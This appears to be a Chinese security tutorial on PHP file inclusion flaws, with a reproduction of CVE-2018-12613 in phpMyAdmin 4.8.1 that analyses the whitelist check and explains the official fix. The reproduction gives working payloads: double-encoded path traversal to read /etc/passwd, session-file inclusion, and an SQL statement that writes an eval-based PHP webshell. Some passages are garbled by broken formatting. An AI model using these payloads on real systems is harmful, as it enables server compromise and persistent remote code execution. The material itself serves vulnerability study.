在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,用来动态调用。但通过动态变量的方式引入需要包含的文件时,用户对变量的值可控而服务器端又未对变量值进行合理地校验或者校验被绕过,因此导致了文件包含漏洞。
文件包含漏洞
原理
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为文件包含。通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
相关函数
PHP中常见的包含文件函数
-
include()
使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。 -
include_one()
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
-
require()
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。 -
require_once()
与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
危险配置
RFI 远程文件包含相关配置
allow_url_fopen
allow_url_include
伪协议
在PHP中
-
php://input
获取post数据,可以用来写木马
-
php://filter
经常利用它进行base64编码,读取源代码
-
file://
访问本地文件系统,必须用绝对路径
-
data://
传输数据
-
phar://
解压缩
图片来自 Lee-404
CVE-2018-12613 复现分析
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在phpmyadmin 4.8.1 版本,index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
index.php
漏洞入口如下
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里有个文件包含,需要满足如下五个条件:
-
$_REQUEST[‘target’]
$_REQUEST是PHP中的超级全局变量,接收表单提交的数据,所以这边首先要满足存在target参数
-
is_string($_REQUEST[‘target’])
is_string函数用于检测变量是否是字符串。如果指定变量为字符串,则返回 TRUE,否则返回 FALSE。所以target参数需要是一个字符串。
-
! preg_match(’/^index/’, $_REQUEST[‘target’])
preg_match用于执行正则匹配,返回匹配次数,又因为是非贪婪的匹配,所以返回值是0或1。
搜索target参数中与模式相匹配字符串,并取非,即不能出现index
-
! in_array($_REQUEST[‘target’], $target_blacklist)
in_array() 函数搜索数组中是否存在指定的值。
target对应的字符串不能出现在 $target_blacklist中
-
Core::checkPageValidity($_REQUEST[‘target’]
需要满足Core类的checkPageValidity方法判断
前三个条件,很清晰,要求能接收到表单提交的target参数对应的数据,并且该数据是一个不包含"index"字符串的字符串。对于第四点和第五点,我们需要进一步去查看$target_blacklist和checkPageValidity方法到底是什么。
首先来看一下$target_blacklist这个变量,对应index.php的第50~52行
$target_blacklist = array (
'import.php', 'export.php'
);
不难看出,这里创建了一个索引数组,也就说target不能是import.php或export.php。
继续来看checkPageValidity方法,在libraries/classes/Core.php文件中的443~476行。
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
此处只传了一个参数 R E Q U E S T [ ′ t a r g e t ′ ] , 我 们 可 以 先 定 位 第 一 个 i f 判 断 , 在 _REQUEST['target'],我们可以先定位第一个if判断,在 REQUEST[′target′],我们可以先定位第一个if判断,在whitelist为空的条件下,会引用静态声明的$goto_whitelist。默认的白名单如下所示
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
这些文件都是可以被包含的。
第二个if条件,判断 p a g e 是 否 被 设 置 或 page是否被设置或 page是否被设置或page是否为字符串,其中如果 p a g e 没 有 被 设 置 或 者 page没有被设置或者 page没有被设置或者page不是字符串就会返回一个false。
第三个if条件,判断 p a g e 对 应 的 值 是 否 在 page对应的值是否在 page对应的值是否在whitelist中。
第四个if条件,以?分割取出前面的字符串,再判断该值是否存在于$goto_whilelist某个数组中。这个判断的作用是在target值含有参数的情况下,phpmyadmin也能正确的包含文件。
具体的来说,先要知道mb_strpos(haystack,needle)的作用是返回要查找的字符串在别一个字符串中首次出现的位置,这里haystack代表被检索字符串,needle表示需要查询的字符。
再来看这一行,
mb_strpos($page . '?', '?')
用连接符将$page与?
拼接,然后在其中查询?
第一次出现的位置,这样一看可能有些奇怪,先带着这样的认知,再总体来看这一段code。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
同样地,先要知道mb_substr不难看出,这是从
p
a
g
e
中
截
取
从
位
置
0
开
始
长
度
为
m
b
s
t
r
p
o
s
(
page中截取从位置0开始长度为mb_strpos(
page中截取从位置0开始长度为mbstrpos(page . ‘?’, ‘?’)的一段字符串。而我们知道mb_strpos(
p
a
g
e
.
′
?
′
,
′
?
′
)
所
返
回
的
是
page . '?', '?')所返回的是
page.′?′,′?′)所返回的是page中第一个出现的?
的位置,那么
p
a
g
e
最
终
所
获
取
的
是
_page最终所获取的是
page最终所获取的是page中再?
前的所有字符。
继续往下,$_page同样被判断是否在白名单中,看到这里,应该我们可以知道这里其实是phpmyadmin的开发者考虑到target值在可能带有参数的情况下,也应该被正确的包含。所以对数据进行了清洗。
理解了这一边,后面其实做了类似的工作,只不过在此基础上将$page参数进行url解码再分割出?
前的字符串判断是否包含在白名单内。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
漏洞利用
根据以上分析我们可以构造一个形如xxx.php?/…/…/…/…/…/xxxx.php的payload传递给target参数。
第一个xxx.php应该是一个可以通过白名单验证的php文件,我们可以从之前$goto_whitelist对应的数组任意挑选一个,第二个xxxx.php则是我们意图包含的文件。
比如构造payload
?target=sql.php?/../../../../../../../../../etc/passwd
这里服务器会自动进行一次url解码,所以需要对?二次编码为%253f。
?target=sql.php%253f/../../../../../../../../../etc/passwd
成功包含文件。
Getshell
phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以利用包含session文件的方式来写入shell。
执行SQL语句
SELECT "<?php phpinfo();?>"
PHP会序列化参数传递的值,并保存在本地的session文件中。查看当前phpmyadmin的cookie,并记录。
一般情况下,phpmyadmin的session文件会设置在/tmp目录下。
(如linux下默认存储在/var/lib/php/session目录)
进入dokcer容器,查看tmp
路径下的session文件。
把该session文件包含进去
构造payload
?target=sql.php?/../../../../../tmp/sess_6f1f4267c65de394d87398d6ef54d893
我们可以看到phpinfo被解析出现。如果要继续写入webshell,从phpinfo中搜索web路径,查找CONTEXT_DOCUMENT_ROOT
这一栏目
可以看到路径为/var/www/html,构造sql语句写入webshell,如这里利用php的file_put_contents函数将一个字符串写入文件中。
select "<?php file_put_contents('/var/www/html/webshell.php','<?php eval($_POST[a]);?>');?>"
再次包含session文件。
访问webshell.php文件,发现文件存在,说明写入成功。
蚁剑连接。
成功Getshell。
漏洞修复
参考官方的漏洞修复
添加了一个include参数,当 i n c l u d e = t r u e 时 , 仅 执 行 第 一 次 判 断 include=true时,仅执行第一次判断 include=true时,仅执行第一次判断page的合法性,构造的payload将不会进入到urldecode的环节。